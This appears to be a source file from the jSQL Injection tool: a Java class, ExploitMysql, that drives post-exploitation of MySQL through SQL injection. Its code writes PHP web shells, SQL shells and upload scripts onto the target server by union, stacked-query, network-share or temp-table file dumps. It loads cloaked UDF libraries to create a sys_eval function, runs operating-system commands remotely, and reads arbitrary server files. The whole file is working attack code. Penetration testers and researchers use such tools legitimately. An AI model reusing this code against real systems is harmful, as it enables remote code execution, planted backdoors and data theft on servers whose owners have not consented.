View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ExploitMode;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.model.bean.util.Interaction;
10  import com.jsql.model.bean.util.Request;
11  import com.jsql.model.exception.AbstractSlidingException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.injection.vendor.model.VendorYaml;
15  import com.jsql.model.suspendable.SuspendableGetRows;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import org.apache.commons.codec.binary.Hex;
19  import org.apache.commons.lang3.RandomStringUtils;
20  import org.apache.commons.lang3.StringUtils;
21  import org.apache.logging.log4j.LogManager;
22  import org.apache.logging.log4j.Logger;
23  import org.yaml.snakeyaml.Yaml;
24  
25  import java.io.*;
26  import java.net.http.HttpResponse;
27  import java.nio.charset.StandardCharsets;
28  import java.nio.file.Files;
29  import java.nio.file.Path;
30  import java.nio.file.Paths;
31  import java.util.List;
32  import java.util.Objects;
33  import java.util.UUID;
34  import java.util.function.BiPredicate;
35  import java.util.function.BinaryOperator;
36  
37  public class ExploitMysql {
38  
39      private static final Logger LOGGER = LogManager.getRootLogger();
40      public static final String NAME_TABLE = "temp";
41      private final InjectionModel injectionModel;
42      private final ModelYamlMysql modelYaml;
43  
44      private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> {
45          try {
46              return this.buildSysEval(nameLibraryRandom);
47          } catch (JSqlException e) {
48              throw new JSqlRuntimeException(e);
49          }
50      };
51  
52      public ExploitMysql(InjectionModel injectionModel) {
53          this.injectionModel = injectionModel;
54          var yaml = new Yaml();
55          this.modelYaml = yaml.loadAs(
56              injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(),
57              ModelYamlMysql.class
58          );
59      }
60  
61      public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException {
62          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv");
63  
64          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
65              var request = new Request();
66              request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
67              request.setParameters(urlSuccess);
68              this.injectionModel.sendToViews(request);
69              return urlSuccess;
70          };
71          return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode);
72      }
73  
74      public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException {
75          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
76              var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false);
77              if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
78                  var request = new Request();
79                  request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
80                  request.setParameters(urlSuccess, username, password);
81                  this.injectionModel.sendToViews(request);
82                  return urlSuccess;
83              }
84              return StringUtils.EMPTY;
85          };
86          var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
87          if (StringUtils.isEmpty(urlSuccess)) {
88              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()...");
89              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
90          }
91          if (StringUtils.isEmpty(urlSuccess)) {
92              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()...");
93              urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode);
94          }
95          if (StringUtils.isEmpty(urlSuccess)) {
96              LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database");
97          }
98          return urlSuccess;
99      }
100 
101     public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException {
102         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
103             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
104                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
105                 if (result.body().contains(DataAccess.LEAD +"y")) {
106                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
107                 } else {
108                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
109                 }
110             } catch (InterruptedException e) {
111                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
112                 Thread.currentThread().interrupt();
113             } catch (IOException | JSqlException e) {
114                 throw new JSqlRuntimeException(e);
115             }
116             return urlSuccess;
117         };
118         this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode);
119     }
120 
121     /**
122      * Create shell on remote server
123      * @param urlExploit  URL for the script (used for url rewriting)
124      */
125     public String create(
126         String pathRemoteFolder,
127         String urlExploit,
128         String keyPropertyExploit,
129         String nameExploit,
130         BinaryOperator<String> biFuncGetRequest,
131         String pathNetshareFolder,
132         ExploitMode exploitMode
133     ) throws JSqlException {
134         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
135             return null;
136         }
137 
138         String bodyExploit = StringUtil.base64Decode(
139                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit)
140             )
141             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
142             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
143 
144         // outfile + binary: content corruption
145         BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> {
146             try {
147                 String resultInjection = this.confirm(pathFolder + nameFile);
148                 return resultInjection.contains(bodyExploit);
149             } catch (JSqlException e) {
150                 throw new JSqlRuntimeException(e);
151             }
152         };
153 
154         var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
155         String nameExploitValidated = StringUtils.EMPTY;
156 
157         if (exploitMode == ExploitMode.NETSHARE) {
158             ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit);
159             nameExploitValidated = this.byNetshare(
160                 nbIndexesPrefix,
161                 pathNetshareFolder,
162                 nameExploit,
163                 pathRemoteFolder,
164                 biPredConfirm
165             );
166         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
167             nameExploitValidated = this.byQueryBody(
168                 nbIndexesPrefix,
169                 pathRemoteFolder,
170                 nameExploit,
171                 StringUtil.toHexChunks(bodyExploit.getBytes()),
172                 biPredConfirm
173             );
174         }
175         if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
176             var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
177             this.byTable(
178                 StringUtil.toHexChunks(bodyExploit.getBytes()),
179                 pathRemoteFolder + nameExploitRandom
180             );
181             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
182                 nameExploitValidated = nameExploitRandom;
183             }
184         }
185 
186         if (StringUtils.isEmpty(nameExploitValidated)) {
187             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated);
188             return null;
189         }
190         nameExploit = nameExploitValidated;
191         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated);
192 
193         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
194     }
195 
196     public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException {
197         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv");
198 
199         if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) {
200             return;
201         }
202 
203         var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1;
204         var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir");
205         if (StringUtils.isEmpty(pathPlugin)) {
206             throw new JSqlException("Incorrect plugin folder: path is empty");
207         }
208 
209         String nameLibrary = this.getNameLibrary();
210 
211         pathPlugin = pathPlugin.replace("\\", "/");
212         if (!pathPlugin.endsWith("/")) {
213             pathPlugin = String.format("%s%s", pathPlugin, "/");
214         }
215 
216         if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) {
217             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway...");
218         }
219         String isSuccess = StringUtils.EMPTY;
220         if (exploitMode == ExploitMode.NETSHARE) {
221             if (!pathNetshareFolder.endsWith("\\")) {
222                 pathNetshareFolder += "\\";
223             }
224             ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary);
225             isSuccess = this.byNetshare(
226                 nbIndexesFound,
227                 pathNetshareFolder,
228                 nameLibrary,
229                 pathPlugin,
230                 this.biPredCreateUdf
231             );
232         } else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) {
233             if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) {
234                 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead");
235             }
236             isSuccess = this.byQueryBody(
237                 nbIndexesFound,
238                 pathPlugin,
239                 nameLibrary,
240                 ExploitMysql.toHexChunks(nameLibrary),
241                 this.biPredCreateUdf
242             );
243         }
244         if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) {
245             var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary;
246             this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom);
247             this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom);
248         }
249     }
250 
251     private String getNameLibrary() throws JSqlException {
252         var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec");
253         if (StringUtils.isEmpty(versionOsMachine)) {
254             throw new JSqlException("Incorrect remote machine: unknown system");
255         }
256         var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux");
257         String nameLibrary;
258         if (versionOsMachine.contains("64")) {
259             nameLibrary = isWin ? "64.dll" : "64.so";
260         } else {
261             nameLibrary = isWin ? "32.dll" : "32.so";
262         }
263         return nameLibrary;
264     }
265 
266     public String byQueryBody(
267         int nbIndexesPrefix,
268         String pathRemoteFolder,
269         String nameExploit,
270         List<String> hexChunks,
271         BiPredicate<String, String> biPredConfirm
272     ) {
273         String nameExploitValidated = StringUtils.EMPTY;
274         var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody();
275 
276         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
277         int countUnionIndex = this.injectionModel.getMediatorUtils().getPreferencesUtil().isLimitingUnionIndex()
278             ? this.injectionModel.getMediatorUtils().getPreferencesUtil().countUnionIndex()
279             : 15;
280         for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) {
281             int finalI = i;
282             LOGGER.log(
283                 LogLevelUtil.CONSOLE_DEFAULT,
284                 "Checking file write with [union select {}fileBody]",
285                 () -> "'',".repeat(finalI)
286             );
287             this.injectionModel.injectWithoutIndex(String.format(pattern,
288                 "and 1=2 union",  // false required, prevent writing origin rows instead of file body when true
289                 "'',".repeat(i),
290                 String.join(StringUtils.EMPTY, hexChunks),
291                 pathRemoteFolder + nameExploitRandom
292             ), "body#union-dump");
293             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
294                 nameExploitValidated = nameExploitRandom;
295                 break;
296             } else if (nbIndexesPrefix > -1) {  // interrupt when Union already found
297                 break;
298             }
299         }
300         if (StringUtils.isEmpty(nameExploitValidated)) {
301             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack...");
302             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
303             this.injectionModel.injectWithoutIndex(String.format(pattern,
304                 ";",
305                 StringUtils.EMPTY,
306                 String.join(StringUtils.EMPTY, hexChunks),
307                 pathRemoteFolder + nameExploitRandom
308             ), "body#stack-dump");
309             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
310                 nameExploitValidated = nameExploitRandom;
311             }
312         }
313         return nameExploitValidated;
314     }
315 
316     public String byNetshare(
317         int nbIndexesPrefix,
318         String pathNetshareFolder,
319         String nameExploit,
320         String pathRemoteFolder,
321         BiPredicate<String, String> biPredConfirm
322     ) {
323         String nameExploitValidated = StringUtils.EMPTY;
324         var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\");
325         var pattern = this.modelYaml.getUdf().getAddFile().getNetshare();
326 
327         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union...");
328         var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
329         this.injectionModel.injectWithoutIndex(String.format(pattern,
330             "and 1=2 union",  // required false, prevent writing origin rows instead of file body when true
331             "'',".repeat(nbIndexesPrefix),
332             pathShareEncoded + nameExploit,
333             pathRemoteFolder + nameExploitRandom
334         ), "netshare#union");
335         if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
336             nameExploitValidated = nameExploitRandom;
337         }
338         if (StringUtils.isEmpty(nameExploitValidated)) {
339             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack...");
340             nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit;
341             this.injectionModel.injectWithoutIndex(String.format(pattern,
342                 ";",
343                 StringUtils.EMPTY,
344                 pathShareEncoded + nameExploit,
345                 pathRemoteFolder + nameExploitRandom
346             ), "netshare#stack");
347             if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) {
348                 nameExploitValidated = nameExploitRandom;
349             }
350         }
351         return nameExploitValidated;
352     }
353 
354     public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException {
355         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack...");
356         var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname");
357         if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) {
358             nameDatabase = "mysql";
359         }
360         var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8);  // underscore required, dash not allowed
361         var nameSchemaTable = nameDatabase +"."+ nameTableRandom;
362         this.injectionModel.injectWithoutIndex(String.format(
363             this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(),
364             nameSchemaTable
365         ), ResourceAccess.TBL_DROP);
366         var countResult = this.getCountTable(nameDatabase, nameTableRandom);
367         if (!"0".equals(countResult)) {
368             throw new JSqlException("Drop table failure: "+ countResult);
369         }
370         this.injectionModel.injectWithoutIndex(String.format(
371             this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(),
372             nameSchemaTable
373         ), ResourceAccess.TBL_CREATE);
374         countResult = this.getCountTable(nameDatabase, nameTableRandom);
375         if (!"1".equals(countResult)) {
376             throw new JSqlException("Create table failure: "+ countResult);
377         }
378         int indexChunk = 0;
379         for (String chunk: bodyHexChunks) {
380             if (indexChunk == 0) {
381                 this.injectionModel.injectWithoutIndex(String.format(
382                     this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(),
383                     nameSchemaTable,
384                     chunk
385                 ), "tbl#init");
386             } else {
387                 this.injectionModel.injectWithoutIndex(String.format(
388                     this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(),
389                     nameSchemaTable,
390                     chunk
391                 ), ResourceAccess.TBL_FILL);
392             }
393             indexChunk++;
394         }
395         this.injectionModel.injectWithoutIndex(String.format(
396             this.modelYaml.getUdf().getAddFile().getTempTable().getDump(),
397             nameSchemaTable,
398             pathRemoteFile
399         ), ResourceAccess.TBL_DUMP);
400     }
401 
402     private String getCountTable(String nameDatabase, String nameTableRandom) {
403         try {
404             return this.injectionModel.getResourceAccess().getResult(String.format(
405                 this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(),
406                 nameTableRandom,
407                 nameDatabase
408             ), "tbl#check");
409         } catch (JSqlException e) {
410             return e.getMessage();  // error message then logged
411         }
412     }
413 
414     private boolean buildSysEval(String nameLibrary) throws JSqlException {
415         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop");
416         this.injectionModel.injectWithoutIndex(String.format(
417             this.modelYaml.getUdf().getAddFunction().getCreate(),
418             nameLibrary
419         ), "udf#function");
420         var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm");
421         if (!confirm.contains("sys_eval")) {
422             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found");
423             return false;
424         }
425         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found");
426 
427         var request = new Request();
428         request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_MYSQL);
429         request.setParameters(null, null);
430         this.injectionModel.sendToViews(request);
431         return true;
432     }
433 
434     public String confirm(String path) throws JSqlException {
435         var sourcePage = new String[]{ StringUtils.EMPTY };
436         return new SuspendableGetRows(this.injectionModel).run(
437             this.modelYaml.getFile().getRead().replace(
438                 VendorYaml.FILEPATH_HEX,
439                 Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8))
440             ),
441             sourcePage,
442             false,
443             1,
444             MockElement.MOCK,
445             "xplt#confirm-file"
446         );
447     }
448 
449     public String runRceCmd(String command, UUID uuidShell) {
450         String result;
451         try {
452             result = this.injectionModel.getResourceAccess().getResult(String.format(  // 0xff splits single result in many chunks => replace by space
453                 this.modelYaml.getUdf().getRunCmd(),
454                 command.replace(StringUtils.SPACE, "%20")  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
455             ), "udf#run-cmd") +"\n";
456         } catch (JSqlException e) {
457             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
458         }
459         var request = new Request();
460         request.setMessage(Interaction.GET_TERMINAL_RESULT);
461         request.setParameters(uuidShell, result);
462         this.injectionModel.sendToViews(request);
463         return result;
464     }
465 
466     public String getRead(String pathFile) throws AbstractSlidingException {
467         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Read file requirement : user FILE privilege");
468         return new SuspendableGetRows(this.injectionModel).run(
469                 this.injectionModel.getResourceAccess().getExploitMysql().getModelYaml().getFile().getRead().replace(
470                 VendorYaml.FILEPATH_HEX,
471                 Hex.encodeHexString(pathFile.getBytes(StandardCharsets.UTF_8))
472             ),
473             new String[]{ StringUtils.EMPTY },
474             false,
475             1,
476             MockElement.MOCK,
477             ResourceAccess.FILE_READ
478         );
479     }
480 
481     private static List<String> toHexChunks(String filename) throws JSqlException {
482         try {
483             byte[] fileData = ExploitMysql.uncloak(filename);
484             return StringUtil.toHexChunks(fileData);
485         } catch (IOException e) {
486             throw new JSqlException(e);
487         }
488     }
489 
490     private static void copyLibraryToShare(String pathNetshare, String nameLibrary) throws JSqlException {
491         try {
492             byte[] fileData = ExploitMysql.uncloak(nameLibrary);
493             Path copiedUncloaked = Paths.get(pathNetshare + nameLibrary);
494             try (FileOutputStream stream = new FileOutputStream(copiedUncloaked.toFile())) {
495                 stream.write(fileData);
496             }
497         } catch (IOException e) {
498             throw new JSqlException(e);
499         }
500     }
501 
502     private static void copyBodyToShare(String pathFile, String bodyExploit) throws JSqlException {
503         Path path = Paths.get(pathFile);
504         try {
505             Files.write(path, bodyExploit.getBytes());
506         } catch (IOException e) {
507             throw new JSqlException(e);
508         }
509     }
510 
511     private static byte[] uncloak(String nameLibrary) throws IOException {
512         byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
513             ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/mysql/"+ nameLibrary +".cloak")
514         ).readAllBytes();
515         fileData = StringUtil.uncloak(fileData);
516         return fileData;
517     }
518 
519     public ModelYamlMysql getModelYaml() {
520         return this.modelYaml;
521     }
522 }